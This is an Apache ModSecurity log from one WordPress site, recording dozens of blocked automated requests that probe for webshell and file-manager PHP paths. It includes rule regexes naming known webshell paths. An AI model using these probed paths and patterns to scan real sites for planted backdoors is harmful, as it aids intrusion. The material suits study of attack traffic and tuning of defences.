[Fri Jan 09 20:20:35.807444 2026] [:error] [pid 44848:tid 44859] [client 85.203.21.235:37683] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aWDyk6jajoTJAbEk87zJaQAAAEk"]
[Fri Jan 09 20:20:36.162889 2026] [:error] [pid 1366:tid 1379] [client 85.203.21.168:45781] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/"] [unique_id "aWDylBmasveKu8_ec1VqVwAAAYo"]
[Fri Jan 09 20:20:36.517846 2026] [:error] [pid 1366:tid 1368] [client 85.203.21.45:27775] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/"] [unique_id "aWDylBmasveKu8_ec1VqWQAAAYA"]
[Fri Jan 09 20:20:36.874593 2026] [:error] [pid 1366:tid 1378] [client 85.203.21.156:57127] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aWDylBmasveKu8_ec1VqWwAAAYk"]
[Fri Jan 09 20:20:37.223988 2026] [:error] [pid 1366:tid 1383] [client 85.203.21.178:62573] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/"] [unique_id "aWDylRmasveKu8_ec1VqXgAAAY4"]
[Fri Jan 09 20:20:37.574773 2026] [:error] [pid 1366:tid 1393] [client 85.203.21.206:37109] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aWDylRmasveKu8_ec1VqXwAAAZg"]
[Fri Jan 09 20:20:37.921909 2026] [:error] [pid 44848:tid 44873] [client 85.203.21.186:38533] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "aWDylajajoTJAbEk87zJawAAAFc"]
[Fri Jan 09 20:20:38.286895 2026] [:error] [pid 30021:tid 30088] [client 85.203.21.157:26105] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aWDylg_M8aRtsTog5J-epgAAAMc"]
[Fri Jan 09 20:20:38.646536 2026] [:error] [pid 30021:tid 30097] [client 85.203.21.159:60023] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/search/"] [unique_id "aWDylg_M8aRtsTog5J-epwAAANA"]
[Fri Jan 09 20:20:38.994382 2026] [:error] [pid 44848:tid 44869] [client 85.203.21.207:47945] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "aWDylqjajoTJAbEk87zJbQAAAFM"]
[Fri Jan 09 20:20:39.345096 2026] [:error] [pid 30021:tid 30103] [client 85.203.21.167:48393] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/Iitespeed-cache/157.php"] [unique_id "aWDylw_M8aRtsTog5J-eqAAAANY"]
[Fri Jan 09 20:20:39.693504 2026] [:error] [pid 30021:tid 30082] [client 85.203.21.176:38691] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/"] [unique_id "aWDylw_M8aRtsTog5J-eqQAAAME"]
[Fri Jan 09 20:20:40.051843 2026] [:error] [pid 1366:tid 1369] [client 85.203.21.232:32011] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/"] [unique_id "aWDymBmasveKu8_ec1VqZwAAAYE"]
[Fri Jan 09 20:20:40.407202 2026] [:error] [pid 1366:tid 1376] [client 85.203.21.201:25413] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2024/"] [unique_id "aWDymBmasveKu8_ec1VqaAAAAYc"]
[Fri Jan 09 20:20:40.761410 2026] [:error] [pid 44848:tid 44858] [client 85.203.21.176:21363] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/"] [unique_id "aWDymKjajoTJAbEk87zJcAAAAEg"]
[Fri Jan 09 20:20:41.125830 2026] [:error] [pid 44848:tid 44863] [client 85.203.21.226:27967] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/cgi-bin/"] [unique_id "aWDymajajoTJAbEk87zJcgAAAE0"]
[Fri Jan 09 20:20:41.482694 2026] [:error] [pid 30020:tid 30078] [client 85.203.21.210:49281] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "aWDymcrjc66qOisG6L3YcAAAAJg"]
[Fri Jan 09 20:20:41.836357 2026] [:error] [pid 44848:tid 44865] [client 85.203.21.183:63875] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/theme-check/main.php"] [unique_id "aWDymajajoTJAbEk87zJdAAAAE8"]
[Fri Jan 09 20:20:42.190335 2026] [:error] [pid 14831:tid 14840] [client 85.203.21.237:65513] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aWDymvaKOMCmJcAyBm041gAAAoc"]
[Fri Jan 09 20:20:42.549182 2026] [:error] [pid 44848:tid 44851] [client 85.203.21.223:61895] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/chosen.php"] [unique_id "aWDymqjajoTJAbEk87zJdQAAAEE"]
[Fri Jan 09 20:20:42.906934 2026] [:error] [pid 14801:tid 14826] [client 85.203.21.168:45873] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/archives/"] [unique_id "aWDymt8UWXrz_OQYgF1jeAAAAlc"]
[Fri Jan 09 20:20:43.262786 2026] [:error] [pid 30021:tid 30093] [client 85.203.21.176:39785] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/nextpage/"] [unique_id "aWDymw_M8aRtsTog5J-erQAAAMw"]
[Fri Jan 09 20:20:43.630259 2026] [:error] [pid 44848:tid 44852] [client 85.203.21.170:36831] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/"] [unique_id "aWDym6jajoTJAbEk87zJewAAAEI"]
[Fri Jan 09 20:20:43.987635 2026] [:error] [pid 1366:tid 1369] [client 85.203.21.221:33535] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/column/"] [unique_id "aWDymxmasveKu8_ec1VqcAAAAYE"]
[Fri Jan 09 20:20:44.341233 2026] [:error] [pid 30021:tid 30091] [client 85.203.21.186:22141] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/calendar/"] [unique_id "aWDynA_M8aRtsTog5J-etAAAAMo"]
[Fri Jan 09 20:20:44.702404 2026] [:error] [pid 30021:tid 30098] [client 85.203.21.197:54983] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/"] [unique_id "aWDynA_M8aRtsTog5J-etgAAANE"]
[Fri Jan 09 20:20:45.057457 2026] [:error] [pid 30021:tid 30101] [client 85.203.21.235:45613] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aWDynQ_M8aRtsTog5J-etwAAANQ"]
[Fri Jan 09 20:20:45.412955 2026] [:error] [pid 30020:tid 30063] [client 85.203.21.213:34099] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aWDyncrjc66qOisG6L3YcwAAAIk"]
[Fri Jan 09 20:20:45.761846 2026] [:error] [pid 1366:tid 1375] [client 85.203.21.223:30775] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWDynRmasveKu8_ec1VqdAAAAYY"]
[Fri Jan 09 20:20:46.108475 2026] [:error] [pid 30021:tid 30093] [client 85.203.21.210:30385] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aWDyng_M8aRtsTog5J-eugAAAMw"]
[Fri Jan 09 20:20:46.458340 2026] [:error] [pid 30021:tid 30095] [client 85.203.21.157:23237] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aWDyng_M8aRtsTog5J-evAAAAM4"]
[Fri Jan 09 20:20:46.815506 2026] [:error] [pid 30021:tid 30088] [client 85.203.21.237:27637] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/block-directory/"] [unique_id "aWDyng_M8aRtsTog5J-evQAAAMc"]
[Fri Jan 09 20:20:47.170487 2026] [:error] [pid 30021:tid 30089] [client 85.203.21.172:64669] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/"] [unique_id "aWDynw_M8aRtsTog5J-evgAAAMg"]
[Fri Jan 09 20:20:47.519073 2026] [:error] [pid 1366:tid 1386] [client 193.37.32.3:36333] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/phpad/as.php"] [unique_id "aWDynxmasveKu8_ec1VqdwAAAZE"]
[Fri Jan 09 20:20:47.876322 2026] [:error] [pid 14739:tid 14763] [client 85.203.21.213:35949] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/user/wp-conflg.php"] [unique_id "aWDyn163M6_PkLt_IJJogQAAAdY"]
[Fri Jan 09 20:20:48.231060 2026] [:error] [pid 1366:tid 1388] [client 85.203.21.227:37181] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content.php"] [unique_id "aWDyoBmasveKu8_ec1VqeAAAAZM"]
[Fri Jan 09 20:20:48.589319 2026] [:error] [pid 30019:tid 30033] [client 85.203.21.206:22065] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/elementor/"] [unique_id "aWDyoEz3igHGwX5f7Irn0wAAAAk"]
[Fri Jan 09 20:20:48.945246 2026] [:error] [pid 30019:tid 30024] [client 85.203.21.164:24333] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aWDyoEz3igHGwX5f7Irn1QAAAAA"]
[Fri Jan 09 20:20:49.293314 2026] [:error] [pid 14801:tid 14814] [client 85.203.21.164:56963] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/classwithtostring.php"] [unique_id "aWDyod8UWXrz_OQYgF1jfAAAAks"]
[Fri Jan 09 20:20:49.641390 2026] [:error] [pid 14831:tid 14844] [client 85.203.21.222:26285] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/lib/"] [unique_id "aWDyofaKOMCmJcAyBm041wAAAos"]
[Fri Jan 09 20:20:49.990341 2026] [:error] [pid 14801:tid 14816] [client 85.203.21.188:46663] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-file.php"] [unique_id "aWDyod8UWXrz_OQYgF1jfgAAAk0"]
[Fri Jan 09 20:20:50.345426 2026] [:error] [pid 1366:tid 1374] [client 85.203.21.52:39547] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/"] [unique_id "aWDyohmasveKu8_ec1VqegAAAYU"]
[Fri Jan 09 20:20:50.699404 2026] [:error] [pid 30021:tid 30084] [client 85.203.21.228:54639] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "aWDyog_M8aRtsTog5J-ewgAAAMM"]
[Fri Jan 09 20:20:51.062296 2026] [:error] [pid 1366:tid 1390] [client 85.203.21.210:59851] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aWDyoxmasveKu8_ec1VqewAAAZU"]
[Fri Jan 09 20:20:51.419469 2026] [:error] [pid 30019:tid 30026] [client 85.203.21.221:28941] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/chosen.php"] [unique_id "aWDyo0z3igHGwX5f7Irn1wAAAAI"]
[Fri Jan 09 20:20:51.775202 2026] [:error] [pid 30019:tid 30027] [client 85.203.21.206:51525] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/covr-wpcom/assets/fonts/manrope_normal.php"] [unique_id "aWDyo0z3igHGwX5f7Irn2AAAAAM"]
[Fri Jan 09 20:20:52.135251 2026] [:error] [pid 14872:tid 14879] [client 85.203.21.186:56963] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/"] [unique_id "aWDypKIUELhgYLNp1sY3cQAAAsU"]
[Fri Jan 09 20:20:52.494164 2026] [:error] [pid 14872:tid 14881] [client 85.203.21.213:59103] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aWDypKIUELhgYLNp1sY3cgAAAsc"]
[Fri Jan 09 20:20:52.849181 2026] [:error] [pid 14801:tid 14817] [client 85.203.21.155:35489] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-domain.php"] [unique_id "aWDypN8UWXrz_OQYgF1jgwAAAk4"]
[Fri Jan 09 20:20:53.206003 2026] [:error] [pid 14801:tid 14804] [client 85.203.21.204:54683] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-wolf.php"] [unique_id "aWDypd8UWXrz_OQYgF1jhAAAAkE"]
[Fri Jan 09 20:20:53.574189 2026] [:error] [pid 14872:tid 14875] [client 85.203.21.223:34373] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/autoload_classmap.php"] [unique_id "aWDypaIUELhgYLNp1sY3cwAAAsE"]
[Fri Jan 09 20:20:53.928125 2026] [:error] [pid 14739:tid 14746] [client 85.203.21.197:64373] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aWDypV63M6_PkLt_IJJogwAAAcU"]
[Fri Jan 09 20:20:54.279441 2026] [:error] [pid 14872:tid 14888] [client 85.203.21.52:51287] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aWDypqIUELhgYLNp1sY3dgAAAs4"]
[Fri Jan 09 20:20:54.643789 2026] [:error] [pid 14739:tid 14751] [client 85.203.21.223:24739] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/styles/typography/"] [unique_id "aWDypl63M6_PkLt_IJJohAAAAco"]
